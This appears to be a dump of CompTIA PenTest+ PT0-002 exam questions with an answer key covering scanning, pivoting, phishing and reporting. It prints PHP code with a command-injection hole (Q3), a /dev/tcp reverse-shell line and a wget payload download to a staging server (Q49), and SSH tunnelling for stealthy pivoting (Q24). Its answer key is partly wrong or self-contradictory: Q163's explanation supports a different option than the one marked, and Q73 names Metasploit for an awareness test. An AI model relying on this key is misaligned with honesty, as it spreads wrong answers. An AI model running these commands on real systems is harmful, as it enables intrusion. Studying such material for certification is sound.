

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

- A. Set up a captive portal with embedded malicious code.
- B. Capture handshakes from wireless clients to crack.
- C. Span deauthentication packets to the wireless clients.
- D. Set up another access point and perform an evil twin attack.

Answer: C

NEW QUESTION 2

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's
- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

Answer: A

NEW QUESTION 3

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])){\n    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);\n}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 4

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

- A. Vulnerability scanning
- B. Network segmentation
- C. System hardening
- D. Intrusion detection

Answer: B

NEW QUESTION 5

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

Answer: D

Explanation:

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

NEW QUESTION 6

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

- A. Launch an external scan of netblocks.
- B. Check WHOIS and netblock records for the company.
- C. Use DNS lookups and dig to determine the external hosts.
- D. Conduct a ping sweep of the company's netblocks.

Answer: C

NEW QUESTION 7

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

- A. NDA
- B. MSA
- C. SOW
- D. MOU

Answer: C

NEW QUESTION 8

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

- A. Situational awareness
- B. Rescheduling
- C. DDoS defense
- D. Deconfliction

Answer: D

Explanation:

<https://redteam.guide/docs/definitions/>

NEW QUESTION 9

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.
- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

Answer: B

NEW QUESTION 10

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

Answer: D

NEW QUESTION 10

A penetration tester writes the following script:

```
#!/bin/bash
network= '10.100.100'
ports= '22 23 80 443'

for x in {1..254};
do (nc -zv $network.$x $ports );
done
```

Which of the following is the tester performing?

- A. Searching for service vulnerabilities
- B. Trying to recover a lost bind shell
- C. Building a reverse shell listening on specified ports
- D. Scanning a network for specific open ports

Answer: D

Explanation:

-z zero-I/O mode [used for scanning]
-v verbose

example output of script: 10.1.1.1 : inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out <https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for>

NEW QUESTION 14

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Penetration Testing

Part 1 Part 2

Drag and Drop Options

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hping
- top-ports=100
- nmap

NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

Command

?

Penetration Testing

Part 1 Part 2

Question Options

Using the output, identify potential attack vectors that should be further investigated.

- Weak SMB file permissions
- FTP anonymous login
- Webdav file upload
- Weak Apache Tomcat Credentials
- Null session enumeration
- Fragmentation attack
- SNMP enumeration
- ARP spoofing

NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE VERSION
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns Part 2 - Weak SMB file permissions
<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

NEW QUESTION 17

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24

D. nmap -sT -p- 10.12.1.0/24

Answer: A

NEW QUESTION 22

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

- A. The penetration tester conducts a retest.
- B. The penetration tester deletes all scripts from the client machines.
- C. The client applies patches to the systems.
- D. The client clears system logs generated during the test.

Answer: C

NEW QUESTION 24

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1 -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. nc 10.10.1.2
- B. ssh 10.10.1.2
- C. nc 127.0.0.1 5555
- D. ssh 127.0.0.1 5555

Answer: C

NEW QUESTION 25

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 26

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 29

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees
- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

Answer: AC

Explanation:

Technical and billing addresses are usually posted on company websites and company social media sites for their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

NEW QUESTION 33

A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?

- A. To provide protection against host OS vulnerabilities
- B. To reduce the probability of a VM escape attack
- C. To fix any misconfigurations of the hypervisor
- D. To enable all features of the hypervisor

Answer: B

Explanation:

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.

One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host.

By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

NEW QUESTION 36

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. `nmap -oG list.txt 192.168.0.1-254 , sort`
- B. `nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print $5}'`
- C. `nmap --open 192.168.0.1-254, uniq`
- D. `nmap -o 192.168.0.1-254, cut -f 2`

Answer: B

Explanation:

the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

NEW QUESTION 40

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. `inurl:`
- B. `link:`
- C. `site:`
- D. `intitle:`

Answer: C

NEW QUESTION 44

A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?

- A. Hydra
- B. John the Ripper
- C. Cain and Abel
- D. Medusa

Answer: D

Explanation:

Both Hydra and Medusa can be used for that same purpose:

THC Hydra is a brute-force cracking tool for remote authentication services. It supports many protocols, including telnet, FTP, LDAP, SSH, SNMP, and others.

Medusa is a Parallel, Modular and Speedy method for brute-force which issued for remote

authentication. Following are the applications and protocols like modular design, Thread based parallel testing and flexible user input and protocols are AFP, CVS, FTP, HTTP, IMAP etc.

NEW QUESTION 45

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. `VERFY` and `EXPN`
- B. `VERFY` and `TURN`

- C. EXPN and TURN
- D. RCPT TO and VRFY

Answer: A

NEW QUESTION 47

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

Answer: C

NEW QUESTION 49

A penetration tester ran the following command on a staging server: `python -m SimpleHTTPServer 9891`
Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. `nc 10.10.51.50 9891 < exploit`
- B. `powershell -exec bypass -f \\10.10.51.50\9891`
- C. `bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit`
- D. `wget 10.10.51.50:9891/exploit`

Answer: D

NEW QUESTION 54

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

- A. Crawling the web application's URLs looking for vulnerabilities
- B. Fingerprinting all the IP addresses of the application's servers
- C. Brute forcing the application's passwords
- D. Sending many web requests per second to test DDoS protection

Answer: D

NEW QUESTION 58

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 63

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

Answer: A

NEW QUESTION 64

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 69

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

Answer: B

NEW QUESTION 73

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees. Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

Answer: A

NEW QUESTION 75

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

Answer: D

NEW QUESTION 80

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

Answer: A

NEW QUESTION 83

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

- A. nmap snn exclude 10.1.1.15 10.1.1.0/24 oA target_txt
- B. nmap iR10oX out.xml | grep Nmap | cut d "f5 > live-hosts.txt
- C. nmap PnsV OiL target.txt A target_text_Service

D. nmap sSPn n iL target.txt A target_txtl

Answer: A

Explanation:

According to the Official CompTIA PenTest+ Self-Paced Study Guide¹, the correct answer is A. nmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target_txt (-oA).

NEW QUESTION 85

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 90

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

Answer: CF

NEW QUESTION 91

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. determining the efficacy of a specific set of security standards.
- D. obtaining specific information from the protected network.

Answer: C

NEW QUESTION 93

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

- A. After detection of a breach
- B. After a merger or an acquisition
- C. When an organization updates its network firewall configurations
- D. When most of the vulnerabilities have been remediated

Answer: D

NEW QUESTION 94

A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?

- A. Netcraft
- B. CentralOps
- C. Responder
- D. FOCA

Answer: D

Explanation:

<https://kalilinuxtutorials.com/foca-metadata-hidden-documents/>

NEW QUESTION 98

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences
- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cyclomatic complexity score of 3

Answer: BC

NEW QUESTION 102

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

Answer: B

NEW QUESTION 105

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

- A. Forensically acquire the backdoor Trojan and perform attribution
- B. Utilize the backdoor in support of the engagement
- C. Continue the engagement and include the backdoor finding in the final report
- D. Inform the customer immediately about the backdoor

Answer: D

NEW QUESTION 108

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manager/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

Answer: D

NEW QUESTION 110

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA
- B. NDA
- C. SOW
- D. ROE

Answer: B

NEW QUESTION 115

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

- A. will reveal vulnerabilities in the Modbus protocol.
- B. may cause unintended failures in control systems.
- C. may reduce the true positive rate of findings.
- D. will create a denial-of-service condition on the IP networks.

Answer: B

NEW QUESTION 118

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

- A. RFID cloning
- B. RFID tagging
- C. Meta tagging
- D. Tag nesting

Answer: D

Explanation:

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link.
<https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation>

NEW QUESTION 123

A penetration tester runs the following command on a system:

```
find / -user root -perm -4000 -print 2>/dev/null
```

Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:

the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

NEW QUESTION 127

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

Answer: A

NEW QUESTION 131

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

- A. nmap -p0 -T0 -sS 192.168.1.10
- B. nmap -sA -sV --host-timeout 60 192.168.1.10
- C. nmap -f --badsum 192.168.1.10
- D. nmap -A -n 192.168.1.10

Answer: A

NEW QUESTION 136

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap
- B. Nikto
- C. Cain and Abel
- D. Ethercap

Answer: B

Explanation:

<https://hackertarget.com/nikto-website-scanner/>

NEW QUESTION 140

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

- A. A signed statement of work
- B. The correct user accounts and associated passwords
- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

Answer: D

NEW QUESTION 142

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

Answer:

D

NEW QUESTION 145

A penetration tester receives the following results from an Nmap scan:

Interesting ports on 192.168.1.1:

Port	State	Service
21/tcp	closed	ftp
22/tcp	open	ssh
23/tcp	closed	telnet
25/tcp	closed	smtp
80/tcp	open	http
110/tcp	closed	pop3
139/tcp	closed	nethics-ssn
443/tcp	closed	https
3389/tcp	closed	rdp

Which of the following OSs is the target MOST likely running?

- A. CentOS
- B. Arch Linux
- C. Windows Server
- D. Ubuntu

Answer: C

NEW QUESTION 150

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

- A. Perform XSS.
- B. Conduct a watering-hole attack.
- C. Use BeEF.
- D. Use browser autopwn.

Answer: A

NEW QUESTION 155

A company provided the following network scope for a penetration test:

- * 169.137.1.0/24
- * 221.10.1.0/24
- * 149.14.1.0/24

A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

- A. The company that requested the penetration test
- B. The penetration testing company
- C. The target host's owner
- D. The penetration tester
- E. The subcontractor supporting the test

Answer: A

NEW QUESTION 156

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

- A. OpenVAS
- B. Drozer
- C. Burp Suite
- D. OWASP ZAP

Answer: A

Explanation:

OpenVAS is a full-featured vulnerability scanner. OWASP ZAP = Burp Suite

Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

NEW QUESTION 161

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

- A. Mask
- B. Rainbow
- C. Dictionary
- D. Password spraying

Answer: D

NEW QUESTION 163

An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?

- A. Follow the established data retention and destruction process
- B. Report any findings to regulatory oversight groups
- C. Publish the findings after the client reviews the report
- D. Encrypt and store any client information for future analysis

Answer: D

Explanation:

After completing an assessment and providing the report and evidence to the client, it is important to follow the established data retention and destruction process to ensure the confidentiality of the client's information. This process typically involves securely deleting or destroying any data collected during the assessment that is no longer needed, and securely storing any data that needs to be retained. This helps to prevent unauthorized access to the client's information and protects the client's confidentiality.

Reporting any findings to regulatory oversight groups may be necessary in some cases, but it should be done only with the client's permission and in accordance with any relevant legal requirements. Publishing the findings before the client has reviewed the report is also not recommended, as it may breach the client's confidentiality and damage their reputation. Encrypting and storing client information for future analysis is also not recommended unless it is necessary and in compliance with any legal or ethical requirements.

NEW QUESTION 167

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUilOQU1FOnNIY3JldHBhc3N3b3Jk

- Network management interfaces are available on the production network.

- An Nmap scan returned the following:

```
Port      State  Service  Version
22/tcp    open  ssh      Cisco SSH 1.25 (protocol 2.0)
80/tcp    open  http     Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open  https    Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

Answer: CD

NEW QUESTION 170

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